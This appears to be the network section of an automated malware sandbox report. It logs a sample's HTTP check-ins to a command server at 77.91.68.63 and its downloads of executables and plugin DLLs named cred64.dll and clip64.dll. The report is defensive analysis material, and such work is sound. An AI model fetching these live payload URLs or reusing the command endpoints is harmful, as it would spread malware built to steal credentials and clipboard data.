Network Analysis
Name | Response | Post-Analysis Lookup |
---|---|---|
No hosts contacted. |
POST
200
http://77.91.68.63/doma/net/index.php
REQUEST
RESPONSE
BODY
POST /doma/net/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.63
Content-Length: 90
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:40:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://77.91.68.63/DSC01491/foto166.exe
REQUEST
RESPONSE
BODY
GET /DSC01491/foto166.exe HTTP/1.1
Host: 77.91.68.63
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:40:30 GMT
Content-Type: application/octet-stream
Content-Length: 586752
Last-Modified: Sun, 18 Jun 2023 22:39:43 GMT
Connection: keep-alive
ETag: "648f87af-8f400"
Accept-Ranges: bytes
POST
200
http://77.91.68.63/doma/net/index.php
REQUEST
RESPONSE
BODY
POST /doma/net/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.63
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:40:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://77.91.68.63/DSC01491/fotod85.exe
REQUEST
RESPONSE
BODY
GET /DSC01491/fotod85.exe HTTP/1.1
Host: 77.91.68.63
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:40:34 GMT
Content-Type: application/octet-stream
Content-Length: 597504
Last-Modified: Sun, 18 Jun 2023 22:38:32 GMT
Connection: keep-alive
ETag: "648f8768-91e00"
Accept-Ranges: bytes
POST
200
http://77.91.68.63/doma/net/index.php
REQUEST
RESPONSE
BODY
POST /doma/net/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.63
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:40:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
404
http://77.91.68.63/doma/net/Plugins/cred64.dll
REQUEST
RESPONSE
BODY
GET /doma/net/Plugins/cred64.dll HTTP/1.1
Host: 77.91.68.63
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:41:19 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
GET
200
http://77.91.68.63/doma/net/Plugins/clip64.dll
REQUEST
RESPONSE
BODY
GET /doma/net/Plugins/clip64.dll HTTP/1.1
Host: 77.91.68.63
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 22:41:20 GMT
Content-Type: application/octet-stream
Content-Length: 91136
Last-Modified: Wed, 14 Jun 2023 08:14:28 GMT
Connection: keep-alive
ETag: "648976e4-16400"
Accept-Ranges: bytes
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts